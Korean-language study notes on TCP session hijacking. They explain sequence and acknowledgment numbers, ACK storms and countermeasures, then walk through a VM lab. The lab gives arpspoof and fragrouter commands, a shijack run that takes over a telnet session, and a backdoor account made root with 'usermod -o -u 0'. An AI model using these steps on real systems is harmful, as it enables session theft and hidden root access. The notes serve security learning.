TCP Session Hijacking
-
TCP 특징
- 연결지향 : 상대가 통신 가능한 상태인지 확인하여 문제가 없으면 통신
- 신뢰성 : 통신 확인 응답 및 재전송 기능, 순서번호 (sequence number, acknowledge number)
- 순서번호를 통해 데이터를 순서대로 보내며 이를 통해 오류 검증 가능
- 흐름 제어 : 데이터 전송량 조절
-
Session (세션)
- 두 대의 시스템 (호스트) 간의 통신 활성화 된 상태
-
TCP Session
- TCP 를 통해 연결된 논리적인 Session
- 서버가 클라이언트 구분하는 기준 : 1 & 2 & 3
- IP 주소
- 클라이언트 포트 주소
- 순서 (sequence number, acknowledge number)
- 서버에게 데이터 전송시 순서가 안맞으면 통신 불가 (제대로된 순서 번호가 오도록 재전송 요청)
-
TCP Session Hijacking
- 이미 인증된 연결을 탈취하는 개념이라 인증우회되는 결과를 낳음 -> 권한 상승 -> 중요한 정보에 접근 가능
- Sniffing 을 사전공격으로 함 + Spoofing 공격
- 암호화 통신에선 제대로 암호화해서 보낼수 없고, 복호화도 힘들어서 효과가 적음
- 기존 통신중이던 클라이언트는 해당 연결이 끊김
- ack 신호 증폭하는 결과 (ack storm) 를 낳음
- 해커는 ack storm 숨기려고 피해자의 통신을 막아버림
- 해커가 TCP Session Hijacking 하려면
- 클라이언트 IP 주소 변조
- 클라이언트 포트 번호
- sequence number
- acknowledge number
- 내가 다음에 받을 시퀀스 넘버를 상대에게 보냄
- 초기 번호는 0 으로 전송
- Sequence / Acknowledge number
- SYN : 클라이언트 ---100/0-> 서버
- ACK / SYN : 클라이언트 <-1000/101-- 서버
- ACK : 클라이언트 --101/1001-> 서버
- 3 way handshake 끝나고 클라이언트가 서버로 요청 데이터를 보낼 땐 (연속해서 데이터를 보낼 때) Sequence / Acknowledge number 를 직전과 동일하게 맞춰서 보냄
- 클라이언트 --101/1001-> 서버
- 이렇게 클라이언트가 마지막으로 서버에게 보낸 Sequence / Acknowledge number 로 해커가 서버에게 패킷을 보내면, 서버는 연속으로 두 번 같은 Sequence / Acknowledge number 인 패킷을 받아들이기때문에 해커가 세션 탈취 가능
- 기존 통신중이던 클라이언트는 해당 연결이 끊김
- 기존의 클라이언트와 서버가 서로의 Sequence Number 를 정상적이지 않다고 인식하여 ACK 패킷을 서로 전송
- ack 신호 증폭하는 결과 (ack storm) 를 낳음
- ARP Spoofing 을 이용하여 잘못된 패킷은 전달되지 않도록 공격하거나
- 해커는 ack storm 숨기려고 피해자의 통신을 막아버림
- 보안 대책
- 비동기화 상태 탐지
- ACK Storm 탐지
- 패킷 유실 & 재전송 증가 탐지
- 지속적인 인증 (Countinuous Authentication)
- 암호화 사용
- 데이터 전송을 암호화하여 Sniffing 에 대응
- Sniffing 에 대한 대응책을 통해 Sequence Number 추측을 어렵게 함
- SSH, SSL / TLS, IPSec / VPN
실습 (수동)
- netcat (nc)
- network 로 장비를 연결하게 문자 데이터를 서로 전송 출력하는 서비스 (TCP 통신)
- netcat-win32-1.12 사용
linux (Server)
192.168.50.50/24 (vmnet8)
XP (Client)
192.168.50.100/24 (vmnet8)
kali
192.168.50.200/24 (vmnet8)
[linux]
-
netcat 설치
- dnf -y install epel-release
- dnf -y install netcat
-
netcat 실행
[XP]
-
netcat 설치
- netcat-win32-1.12.zip 압축 풀고 nc 파일 복사해서 C:\ 에 붙여넣기
-
netcat 실행
- cmd 에서 cd .. 으로 c:\ 로 이동 - nc 서버IP주소 서버포트번호
[kali]
실습 (shijack)
linux (telnet server)
XP (telnet client)
kali (공격자)
- shijack : TCP Session Hijacking tool
[linux]
[XP]
[kali]
-
arp spoofing
- arpspoof -i eth0 -t 192.168.50.50 192.168.50.100
- arpspoof -i eth0 -t 192.168.50.100 192.168.50.50
- fragrouter -B1
-
shijack
-
./sjijack-lnx 인터페이스 클라이언트IP주소 클라이언트포트 서버IP주소 서버포트
-
./sjijack-lnx eth0 192.168.50.100 1044 192.168.50.50 23
-
fragrouter 종료
-
XP (client) 에서는 접속이 끊겨서 명령어 입력조차 안됨
-
kali 에서 touch test 등 으로 파일 생성 후
-
linux (server) 에서 ls 로 확인 가능
-
ex) kali 로 세션 탈취 후 백도어용 계정 생성
- useradd hacker
- passwd hacker
- 1234
- 1234
- 1234
- usermod -o -u 0 hacker
- hacker 의 UID 를 0 으로 바꿔서 root 처럼 설정 (-o : 중복 무시)
- ctrl + c 로 공격 종료
- telnet 192.168.50.50 후 hacker 로 로그인 하면 [root@localhost ~]# 로 root 권한 사용 가능